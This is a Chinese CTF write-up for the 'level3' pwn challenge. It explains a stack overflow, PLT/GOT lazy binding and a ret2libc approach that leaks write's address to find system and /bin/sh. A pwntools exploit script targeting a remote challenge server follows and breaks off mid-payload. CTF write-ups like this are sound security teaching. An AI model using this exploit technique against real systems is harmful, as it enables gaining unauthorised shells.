1.攻防世界 level3
把文件放到kali里面发现是一个压缩包(放入exeinfo里面也可以发现是压缩包),解压缩得到level3和libc.so文件
file checksec
ida32
进入漏洞函数vunl(),发现有栈溢出漏洞
没有system函数和/bin/sh
题目提示了用libc。
libc.so是一个函数库(类似于C语言#include<iostream>的iostream库),与level3文件共享函数,也就是level3可以使用libc.so里面包装好的函数
因此我们可以栈溢出后使用libc.so中的system函数和/bin/sh来得到权限,但是ret返回的是一个地址,我们必须知道libc.so中的system函数以及/bin/sh字符串的地址才可以实现getshell
plt表与got表:主函数在调用libc.so中的函数时,有一个延迟绑定机制(由于libc.so中有很多函数,而在程序中只会调用很少一部分函数,因此只有在用到的时候才找libc中的该函数地址,这样可以节省编译时间),调用libc中函数时先让plt表(指向got表)找got表(有函数在libc中的真实地址)中的地址,但是由于延迟绑定,got表中还没有写入地址,就让plt表去找libc中的函数地址,找到后写在got表中,之后再找该函数时就可以找plt表-->got表直接找到函数在libc中的地址,就可以直接使用了
又因为在程序加载时,libc中的地址不固定,但libc中函数的相对位置固定,即地址差值是固定的,所以我们可以通过泄露got表中的某函数(已经调用过的libc中的函数在程序中的真实地址)进行差值计算,而我们可以找到libc中的函数地址,根据差值就可以得到system和/bin/sh在程序中的真实地址了
x86,32位程序调用函数所使用的参数都在栈中,栈中从高地址到低地址顺序是“调用的函数地址,返回的函数地址,调用函数的参数1,参数2,参数3.....
回到本题,在栈溢出之前调用了write()函数,并且write()可以写出我们想要的数据(puts函数,printf等函数都可以利用来泄露地址),所以可以利用write()将write_addr写出来,求出地址差值,计算出system_addr,binsh_addr,同时在用write函数泄露地址时返回到main函数,进行第二次read栈溢出,此时将重新构造的get_shell_payload,发送过去,得到权限。
脚本
#!/usr/bin/env python3
from pwn import*
context(os="linux",arch="i386",log_level="debug")
content=1
#elf
elf=ELF("level3")
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']
#libc
lib=ELF('libc_32.so.6')
lib_write_addr=lib.symbols['write']
lib_system_addr=lib.symbols['system']
lib_binsh_addr=next(lib.search(b'/bin/sh'))
def main():
if content==0:
io=process("./level3")
else:
io=remote("111.200.241.243",34633)
#leak_payload 用flat()和直接"+"拼接一样
payload=flat([b